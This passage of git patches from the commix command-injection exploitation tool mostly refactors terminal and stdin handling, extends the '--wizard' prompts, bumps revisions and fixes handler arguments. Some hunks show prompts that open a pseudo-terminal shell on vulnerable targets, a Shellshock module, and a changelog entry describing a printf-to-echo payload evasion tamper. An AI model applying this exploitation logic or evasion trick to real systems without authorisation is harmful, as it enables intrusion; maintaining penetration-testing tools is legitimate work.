b/src/utils/settings.py index c853764a27..33292f7526 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 58d63016b3b01553935e06312a76d3c63673b158 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 15 Oct 2022 12:23:44 +0300 Subject: [PATCH 192/560] Fixes https://github.com/commixproject/commix/issues/784 --- .../blind/techniques/time_based/tb_handler.py | 6 ++-- src/core/injections/controller/controller.py | 6 ++-- .../techniques/classic/cb_handler.py | 6 ++-- .../techniques/eval_based/eb_handler.py | 6 ++-- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 6 ++-- src/core/main.py | 31 +++++++++---------- src/core/modules/shellshock/shellshock.py | 6 ++-- src/utils/settings.py | 7 +++-- 9 files changed, 38 insertions(+), 38 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 3053d0d3ef..89b1946538 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -298,7 +298,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -457,7 +457,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -516,7 +516,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e189028203..32ae47355f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -51,7 +51,7 @@ def check_for_stored_sessions(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): - if not settings.MULTI_TARGETS or settings.IS_TTY: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: settings.LOAD_SESSION = True return True @@ -695,11 +695,11 @@ def post_request(url, http_request_method, filename, timesec): """ def perform_checks(url, http_request_method, filename): # Initiate whitespaces - if settings.MULTI_TARGETS or not settings.IS_TTY and len(settings.WHITESPACES) > 1: + if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] def basic_level_checks(): - if settings.MULTI_TARGETS or not settings.IS_TTY: + if settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.PERFORM_BASIC_SCANS = True else: settings.PERFORM_BASIC_SCANS = False diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 2a1399bde1..cbe27dfb02 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -198,7 +198,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -335,7 +335,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -401,7 +401,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 6a5322606c..b68e613d26 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -210,7 +210,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -346,7 +346,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -409,7 +409,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index a0829a16f9..693f011878 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -563,7 +563,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index e9fe804657..cc598bd8c8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -319,7 +319,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -501,7 +501,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -566,7 +566,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/main.py b/src/core/main.py index d123ca2c90..2bf768d34e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -106,7 +106,7 @@ def check_custom_injection_marker(url): if settings.WILDCARD_CHAR_APPLIED: if menu.options.test_parameter: - if not settings.MULTI_TARGETS or not settings.IS_TTY: + if not settings.MULTI_TARGETS or settings.STDIN_PARSING: err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " err_msg += "cannot be used simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) @@ -135,7 +135,7 @@ def user_agent_header(): # Check if defined "--mobile" option. if menu.options.mobile: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - if not settings.MULTI_TARGETS or settings.IS_TTY: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -145,7 +145,7 @@ def user_agent_header(): # Check if defined "--random-agent" option. if menu.options.random_agent: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - if not settings.MULTI_TARGETS or settings.IS_TTY: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -333,7 +333,7 @@ def main(filename, url): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY: + if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False check_custom_injection_marker(url) @@ -580,7 +580,7 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): @@ -608,15 +608,12 @@ def main(filename, url): install.installer() raise SystemExit() - if not sys.stdin.isatty(): - settings.IS_TTY = False - # Check if defined "--purge" option. if menu.options.purge: purge.purge() - + # Check for missing mandatory option(s). - if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ + if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " @@ -695,14 +692,14 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.wizard and settings.IS_TTY: + if menu.options.wizard and not settings.STDIN_PARSING: if not menu.options.url: while True: message = "Please enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) if menu.options.url is None or len(menu.options.url) == 0: pass - else: + else: break message = "Please enter POST data (--data) [Enter for none] > " menu.options.data = common.read_input(message, default=None, check_batch=True) @@ -736,7 +733,7 @@ def main(filename, url): settings.CRAWLING = True # Check arguments - if len(sys.argv) == 1 and settings.IS_TTY: + if len(sys.argv) == 1 and not settings.STDIN_PARSING: menu.parser.print_help() print(settings.SINGLE_WHITESPACE) raise SystemExit() @@ -790,7 +787,7 @@ def main(filename, url): else: url = menu.options.url - if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING: + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True @@ -827,7 +824,7 @@ def main(filename, url): bulkfile = [url.strip() for url in f] # Check if option "--crawl" is enabled. - if settings.CRAWLING and settings.IS_TTY: + if settings.CRAWLING: settings.CRAWLING_PHASE = True url_num = 1 if not menu.options.bulkfile: @@ -846,7 +843,7 @@ def main(filename, url): settings.CRAWLING_PHASE = False else: filename = None - if settings.IS_TTY: + if not settings.STDIN_PARSING: output_href = output_href + bulkfile else: if os_checks_num == 0: @@ -864,7 +861,7 @@ def main(filename, url): [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(output_href) != 0 and settings.IS_TTY: + if len(output_href) != 0 and not settings.STDIN_PARSING: if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 0828381bbd..e91c29b87a 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -33,7 +33,7 @@ [2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 """ -if settings.MULTI_TARGETS or not settings.IS_TTY: +if settings.MULTI_TARGETS or settings.STDIN_PARSING: if settings.USER_AGENT_INJECTION: settings.USER_AGENT_INJECTION = None if settings.REFERER_INJECTION: @@ -420,7 +420,7 @@ def shellshock_handler(url, http_request_method, filename): if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -486,7 +486,7 @@ def shellshock_handler(url, http_request_method, filename): raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 33292f7526..891ab1f458 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -409,7 +409,10 @@ def sys_argv_errors(): # Max Length for command execution output. MAXLEN = 10000 -IS_TTY = True +STDIN_PARSING = False +if not sys.stdin.isatty(): + STDIN_PARSING = True + # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From 25af7c6f55531ff560e870620463b71cb53774b7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Oct 2022 10:11:44 +0300 Subject: [PATCH 193/560] Minor improvement regarding `--wizard` option. --- doc/CHANGELOG.md | 1 + src/core/main.py | 28 +++++++++++++++++++++------- src/utils/settings.py | 2 +- 3 files changed, 23 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8eea9871af..d13a211a1d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). diff --git a/src/core/main.py b/src/core/main.py index 2bf768d34e..e0fc610dc1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -692,19 +692,33 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.wizard and not settings.STDIN_PARSING: - if not menu.options.url: + # Check if defined "--wizard" option. + if menu.options.wizard: + if not menu.options.url and not settings.STDIN_PARSING: while True: - message = "Please enter full target URL (-u) > " + message = "Enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) if menu.options.url is None or len(menu.options.url) == 0: pass else: break - message = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = common.read_input(message, default=None, check_batch=True) - if menu.options.data is not None and len(menu.options.data) == 0: - menu.options.data = False + message = "Enter POST data (--data) [Enter for none] > " + if settings.STDIN_PARSING or menu.options.data: + print(settings.print_message(message + menu.options.data)) + else: + menu.options.data = common.read_input(message, default=None, check_batch=True) + if menu.options.data is not None and len(menu.options.data) == 0: + menu.options.data = False + while True: + message = "Enter injection level (--level) [1-3, Default: 1] > " + if settings.STDIN_PARSING or menu.options.level > settings.DEFAULT_INJECTION_LEVEL: + print(settings.print_message(message + str(menu.options.level))) + break + menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: + pass + else: + break # Seconds to delay between each HTTP request. if menu.options.delay > 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 891ab1f458..5bf3984442 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From f114feb0c9ae84930dec27003d6a8c64f11afcae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Oct 2022 09:27:17 +0300 Subject: [PATCH 194/560] Minor update --- src/utils/menu.py | 2 +- src/utils/settings.py | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index e9a7cfe0e8..72f39ec060 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -32,7 +32,7 @@ def banner(): print(""" __ ___ ___ ___ ___ ___ ___ /\_\ __ _ - /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + Style.BRIGHT + Style.UNDERLINE + settings.VERSION + Style.RESET_ALL + """ + /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """ /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> Date: Tue, 18 Oct 2022 23:00:41 +0300 Subject: [PATCH 195/560] Minor update regarding https://github.com/commixproject/commix/commit/73c16e0a1e7c556af0ac1300412f000ba3e0a393 --- src/utils/settings.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 724890b731..f0ecf56206 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1034,6 +1034,7 @@ def sys_argv_errors(): "nested", "singlequotes", "slash2env", + "printf2echo", "uninitializedvariable" ] From c9e3a6af7c6d3eca3aa06fa973a94914db58eb85 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Oct 2022 09:37:12 +0300 Subject: [PATCH 196/560] Minor update (verbose mode) --- src/core/requests/headers.py | 4 +--- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 4843c25d74..5971abdd5d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -66,8 +66,6 @@ def http_response(headers, code): logs.log_traffic("\n" + header) if menu.options.traffic_file: logs.log_traffic("\n\n") - if settings.VERBOSITY_LEVEL == 3: - print(settings.SINGLE_WHITESPACE) """ Print HTTP response headers / Body. @@ -106,7 +104,7 @@ def send(self, req): request_http_headers = str(headers).split("\r\n") unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] - request_http_headers = unique_request_http_headers + request_http_headers = [x for x in unique_request_http_headers if x] for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: print(settings.print_traffic(header)) diff --git a/src/utils/settings.py b/src/utils/settings.py index f0ecf56206..e4cf715332 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d7bb83918d5e25a2daa3dd9238e73c498c2076d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Oct 2022 08:51:40 +0300 Subject: [PATCH 197/560] Fixes https://github.com/commixproject/commix/issues/786 --- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 89b1946538..9b8d9173c8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -556,7 +556,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) elif proceed_option.lower() == "c": if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: return False diff --git a/src/utils/settings.py b/src/utils/settings.py index e4cf715332..4c19bc06c3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 41526d2703aa1dcd9318de2a8855be8cebe839d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Oct 2022 12:21:35 +0300 Subject: [PATCH 198/560] Minor update --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c19bc06c3..86e4e75972 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,14 +241,14 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL else: - VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION + Style.RESET_ALL + VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL YEAR = "2014-2022" From d585a85159144801a7dabc2c2219ff9a342acab5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 24 Oct 2022 09:10:56 +0300 Subject: [PATCH 199/560] Minor update --- src/core/injections/controller/controller.py | 54 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 28 insertions(+), 28 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 32ae47355f..070f512b3d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -363,35 +363,35 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - message = "Skipping of further command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + while True: + message = "Skipping of further command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False + settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that " - warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ diff --git a/src/utils/settings.py b/src/utils/settings.py index 86e4e75972..2d3b8ee985 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6b04e8913fe56d6b0994a1920b27146e1e33f61e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Oct 2022 07:48:54 +0300 Subject: [PATCH 200/560] Minor fix --- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 9b8d9173c8..d46c641daf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -99,7 +99,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index b68e613d26..0d13640ab7 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -90,7 +90,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if not settings.LOAD_SESSION: i = i + 1 diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 693f011878..4b213359ee 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -244,7 +244,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if not settings.LOAD_SESSION: i = i + 1 diff --git a/src/utils/settings.py b/src/utils/settings.py index 2d3b8ee985..07c61cd82b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 16c4af4b1a65502c5c25ccfcf1e8cf4a04e74e0c Mon Sep 17 00:00:00 